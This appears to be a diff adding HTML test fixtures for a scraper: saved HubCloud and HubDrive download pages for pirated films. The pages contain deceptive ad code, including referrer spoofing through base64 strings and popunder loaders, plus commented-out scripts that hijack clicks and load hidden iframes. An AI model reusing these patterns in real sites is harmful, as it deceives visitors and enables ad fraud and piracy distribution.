function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||||
|
|
||||||
|
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||||
|
<!--</script>-->
|
||||||
|
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="clever-core">
|
||||||
|
/* <![CDATA[ */
|
||||||
|
(function (document, window) {
|
||||||
|
var a, c = document.createElement("script"), f = window.frameElement;
|
||||||
|
|
||||||
|
c.id = "CleverCoreLoader98023";
|
||||||
|
c.src = "https://scripts.cleverwebserver.com/9afdf189fcae8189c250865783d52630.js";
|
||||||
|
|
||||||
|
c.async = !0;
|
||||||
|
c.type = "text/javascript";
|
||||||
|
c.setAttribute("data-target", window.name || (f && f.getAttribute("id")));
|
||||||
|
c.setAttribute("data-callback", "put-your-callback-function-here");
|
||||||
|
c.setAttribute("data-callback-url-click", "put-your-click-macro-here");
|
||||||
|
c.setAttribute("data-callback-url-view", "put-your-view-macro-here");
|
||||||
|
|
||||||
|
try {
|
||||||
|
a = parent.document.getElementsByTagName("script")[0] || document.getElementsByTagName("script")[0];
|
||||||
|
} catch (e) {
|
||||||
|
a = !1;
|
||||||
|
}
|
||||||
|
|
||||||
|
a || (a = document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]);
|
||||||
|
a.parentNode.insertBefore(c, a);
|
||||||
|
})(document, window);
|
||||||
|
/* ]]> */
|
||||||
|
</script>
|
||||||
328
src/extractor/__fixtures__/HubDrive/HubCloud/https:hubcloud.fyidrive1qepetxqp4nhxxq
generated
Normal file
328
src/extractor/__fixtures__/HubDrive/HubCloud/https:hubcloud.fyidrive1qepetxqp4nhxxq
generated
Normal file
|
|
@ -0,0 +1,328 @@
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv</title>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||||
|
<meta name="referrer" content="no-referrer">
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
|
||||||
|
|
||||||
|
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||||
|
|
||||||
|
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||||
|
|
||||||
|
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
|
||||||
|
|
||||||
|
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220840"></script>-->
|
||||||
|
|
||||||
|
|
||||||
|
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
aclib.runPop({
|
||||||
|
zoneId: '10550070',
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||||
|
|
||||||
|
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||||
|
|
||||||
|
<!-- Google tag (gtag.js) -->
|
||||||
|
<script async src="https://www.googletagmanager.com/gtag/js?id=G-VPX61DM9S8"></script>
|
||||||
|
<script>
|
||||||
|
window.dataLayer = window.dataLayer || [];
|
||||||
|
function gtag(){dataLayer.push(arguments);}
|
||||||
|
gtag('js', new Date());
|
||||||
|
gtag('config', 'G-VPX61DM9S8');Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
// function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}
|
||||||
|
// let p_ = document.location.pathname;
|
||||||
|
// cn('/');
|
||||||
|
// setTimeout(()=> cn(p_), 2200);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</head>
|
||||||
|
<style>
|
||||||
|
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
|
||||||
|
.btn-success1 {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #28a745;
|
||||||
|
border-color: #28a745;
|
||||||
|
display: inline-block;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 1rem;
|
||||||
|
letter-spacing: .4px;
|
||||||
|
font-family: 'Open Sans',sans-serif!important;
|
||||||
|
font-weight: 600;
|
||||||
|
text-decoration:none !important;
|
||||||
|
vertical-align: middle;
|
||||||
|
-webkit-user-select: none;
|
||||||
|
-moz-user-select: none;
|
||||||
|
-ms-user-select: none;
|
||||||
|
user-select: none;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
padding: .375rem .75rem;
|
||||||
|
line-height: 1.5;
|
||||||
|
border-radius: .30rem;
|
||||||
|
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
|
||||||
|
}
|
||||||
|
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #1e7e34;
|
||||||
|
border-color: #1c7430;
|
||||||
|
}
|
||||||
|
.btn-success1:hover {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #218838;
|
||||||
|
border-color: #1e7e34;
|
||||||
|
}
|
||||||
|
.btn-success1.focus, .btn-success1:focus {
|
||||||
|
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
|
||||||
|
}
|
||||||
|
.btn-lg, .btn-group-lg > .btn2 {
|
||||||
|
padding: .5rem .6rem !important;
|
||||||
|
font-family: 'Open Sans',sans-serif!important;
|
||||||
|
letter-spacing: .1px;
|
||||||
|
border-radius: 0.35rem!important;
|
||||||
|
}
|
||||||
|
.ads-btns {
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden
|
||||||
|
}
|
||||||
|
.ads-btns a.btn2 {
|
||||||
|
min-width: 40%
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg {
|
||||||
|
fill: #fff;
|
||||||
|
width: 17px;
|
||||||
|
position: absolute;
|
||||||
|
right: 0;
|
||||||
|
top: 0
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg path {
|
||||||
|
fill: #fff;
|
||||||
|
stroke: #fff
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg:first-child path {
|
||||||
|
fill: #fff;
|
||||||
|
stroke: transparent
|
||||||
|
}
|
||||||
|
|
||||||
|
.ads-btns svg:first-child {
|
||||||
|
right: 20px
|
||||||
|
}
|
||||||
|
.downloads-btns-div .btn2 {
|
||||||
|
margin: 0 3px 12px
|
||||||
|
}
|
||||||
|
.btn2 {
|
||||||
|
font-style: normal;
|
||||||
|
font-weight: 500;
|
||||||
|
font-size: 14px;
|
||||||
|
text-align: center;
|
||||||
|
text-transform: uppercase;
|
||||||
|
border: 2px solid #cbfc01;
|
||||||
|
padding: 10px 15px;
|
||||||
|
border-radius: 6px;
|
||||||
|
-webkit-border-radius: 6px;
|
||||||
|
-moz-border-radius: 6px;
|
||||||
|
background: #0ebac3;
|
||||||
|
color: #000;
|
||||||
|
display: inline-block;
|
||||||
|
text-decoration: none;
|
||||||
|
background: #cbfc01
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
.btn-zip {
|
||||||
|
border-color: #00d0ff;
|
||||||
|
background: #00d0ff;
|
||||||
|
color: #000
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<body><center>
|
||||||
|
<br/>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="header">
|
||||||
|
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<div class="container container-fluid main">
|
||||||
|
<div class="card-body">
|
||||||
|
<h2>
|
||||||
|
<div class="main" id="section2">
|
||||||
|
|
||||||
|
<div class="card h6">
|
||||||
|
|
||||||
|
<div class="card-header text-white bg-primary mb-3">
|
||||||
|
Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv </div>
|
||||||
|
|
||||||
|
<div class="card-body">
|
||||||
|
<ul class="list-group">
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">60.21 GB</i></li>
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
|
||||||
|
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="size">13-May-2025 05:55:49</i></li>
|
||||||
|
</ul>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning h6" role="alert">
|
||||||
|
<span>
|
||||||
|
<p>Experience the magic of Hubcloud where files effortlessly find their way into your downloads!</p>
|
||||||
|
<b>Hubcloud Means File will get Downloaded by anyhow (: </b>
|
||||||
|
</span>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<center>
|
||||||
|
<!--<a href="https://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/header.gif" style="-->
|
||||||
|
<!-- width: 820px;-->
|
||||||
|
<!-- height: 90px;-->
|
||||||
|
<!-- padding: -17px;-->
|
||||||
|
<!--" class="img-fluid"></a>-->
|
||||||
|
</center>
|
||||||
|
|
||||||
|
<div class="loading">
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin:auto;background:#fff;display:block;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||||
|
<g><circle cx="73.801" cy="68.263" fill="#e15b64" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="0s"></animateTransform>
|
||||||
|
</circle><circle cx="68.263" cy="73.801" fill="#f47e60" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.062s"></animateTransform>
|
||||||
|
</circle><circle cx="61.481" cy="77.716" fill="#f8b26a" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.125s"></animateTransform>
|
||||||
|
</circle><circle cx="53.916" cy="79.743" fill="#abbd81" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.187s"></animateTransform>
|
||||||
|
</circle><circle cx="46.084" cy="79.743" fill="#849b87" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.25s"></animateTransform>
|
||||||
|
</circle><circle cx="38.519" cy="77.716" fill="#6492ac" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.312s"></animateTransform>
|
||||||
|
</circle><circle cx="31.737" cy="73.801" fill="#637cb5" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.375s"></animateTransform>
|
||||||
|
</circle><circle cx="26.199" cy="68.263" fill="#6a63b6" r="3">
|
||||||
|
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.437s"></animateTransform>
|
||||||
|
</circle><animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;0 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s"></animateTransform></g>
|
||||||
|
</svg>
|
||||||
|
<h3>Please Wait While Page is loading</h3>
|
||||||
|
</div>
|
||||||
|
<div class="vd d-none">
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=1qepetxqp4nhxxq&token=dDU4Z2M5RGgxcGl0Y01yTzd0eWRnTmdDS2QzVTVUQWpIR2xtS1R5RGhWaz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||||
|
|
||||||
|
|
||||||
|
<center>
|
||||||
|
<!--<div class="ads-btns">-->
|
||||||
|
<!--<div class="downloads-btns-div"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M7.5,1.5a6,6,0,1,0,0,12a6,6,0,1,0,0,-12m0,1a5,5,0,1,1,0,10a5,5,0,1,1,0,-10ZM6.625,11l1.75,0l0,-4.5l-1.75,0ZM7.5,3.75a1,1,0,1,0,0,2a1,1,0,1,0,0,-2Z"></path></svg><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5"></path></svg><a class="btn2" href="https://winexch.com/?btag=52330173" rel="nofollow" target="blank">Watch Online</a><a class="btn2 btn-zip" target="blank" rel="nofollow" href="https://winexch.com/?btag=52330173">Download</a></div>-->
|
||||||
|
<!--</div>-->
|
||||||
|
</center>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</h2>
|
||||||
|
<center>
|
||||||
|
<!-- <a href="http://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/footer.gif" style="-->
|
||||||
|
<!-- width: 820px;-->
|
||||||
|
<!-- height: 90px;-->
|
||||||
|
<!-- padding: -17px;-->
|
||||||
|
<!--" class="img-fluid"></a>-->
|
||||||
|
</center>
|
||||||
|
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<P><a href="https://tinyurl.com/yjrvvdxu" rel="noopener noreferrer nofollow" target="_blank">How to Download From HubCloud ? Click here to Watch Tutorial</a></P>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-primary" role="alert">
|
||||||
|
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||||
|
</div>
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<!--<div class="m-5 font-weight-normal text-primary">-->
|
||||||
|
<!--<a href="https://a-ads.com?partner=1490501">Advertise with Anonymous Ads</a>-->
|
||||||
|
<!--</div>-->
|
||||||
|
<br>
|
||||||
|
<div class="tab-content">
|
||||||
|
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||||
|
<div class="text" align="center">
|
||||||
|
<ul class="nav nav-tabs" role="tablist">
|
||||||
|
<li class="nav-item">
|
||||||
|
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-body" id="div1">
|
||||||
|
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/1qepetxqp4nhxxq</p>
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
setTimeout(function(){
|
||||||
|
document.querySelector(".loading").classList.add("d-none");
|
||||||
|
document.querySelector(".vd").classList.remove("d-none");
|
||||||
|
}, 2000);
|
||||||
|
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=1qepetxqp4nhxxq&token=dDU4Z2M5RGgxcGl0Y01yTzd0eWRnTmdDS2QzVTVUQWpIR2xtS1R5RGhWaz0=';
|
||||||
|
|
||||||
|
var download = document.getElementById('download');
|
||||||
|
download.onclick = function() {
|
||||||
|
if (this.classList.contains('disabled')) {
|
||||||
|
event.preventDefault();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
window.location.href = url;
|
||||||
|
download.classList.add('disabled');
|
||||||
|
setTimeout(function() {
|
||||||
|
download.classList.remove('disabled');
|
||||||
|
}, 6000);
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<br><br>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
|
||||||
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'9bede0942dcf4e6c',t:'MTc2ODU2OTI4MA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body>
|
||||||
|
</html>
|
||||||
512
src/extractor/__fixtures__/HubDrive/https:hubdrive.spacefile2243124026
generated
Normal file
512
src/extractor/__fixtures__/HubDrive/https:hubdrive.spacefile2243124026
generated
Normal file
|
|
@ -0,0 +1,512 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta name='admaven-placement' content=BrHCGpjC9>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
<meta name="referrer" content="no-referrer"/>
|
||||||
|
<meta name="referrer" content="none"/>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||||
|
<meta property="og:image" content="/assets/img/favicon.png">
|
||||||
|
<meta property="og:type" content="website"/>
|
||||||
|
<meta name="author" content="HubDrive">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
<title>HubDrive | Back.to.the.Future.Part.III.1990.1080p.BluRay.Hindi.English.DD.5.1.x264.ESubs.Untouched.mkv</title>
|
||||||
|
<!-- Custom fonts for this template-->
|
||||||
|
<script src="https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js"></script>
|
||||||
|
<script src="https://unpkg.com/sweetalert@2.1.2/dist/sweetalert.min.js"></script>
|
||||||
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
|
||||||
|
<script async="async" type="text/javascript" src="/assets/js/neodrivev2.5.min.js?v=3"></script>
|
||||||
|
<script src="https://use.fontawesome.com/746f656c7a.js"></script>
|
||||||
|
<link href="/assets/vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
|
||||||
|
<link href="/assets/css/sb-admin-2.css" rel="stylesheet">
|
||||||
|
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||||
|
<link rel="icon" href="/assets/img/favicon.png">
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100829" src="https://sads.adsboosters.xyz/801bbfc2f5f34af99c45dabeb76aa5ef.js"></script>
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101495" src="https://sads.adsboosters.xyz/df182342f761a3795c0c8cfad378c7a4.js"></script>
|
||||||
|
<div class="clever-core-ads-100829></div>
|
||||||
|
<div class="clever-core-ads-101495></div>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
h4, .h4 {
|
||||||
|
font-size: 1.4rem;
|
||||||
|
}
|
||||||
|
.table {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
#sticky-footer2 {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
.Blink {
|
||||||
|
animation: blinker 0.3s cubic-bezier(.5, 0, 1, 1) infinite alternate;
|
||||||
|
}
|
||||||
|
@keyframes blinker {
|
||||||
|
from { opacity: 1; }
|
||||||
|
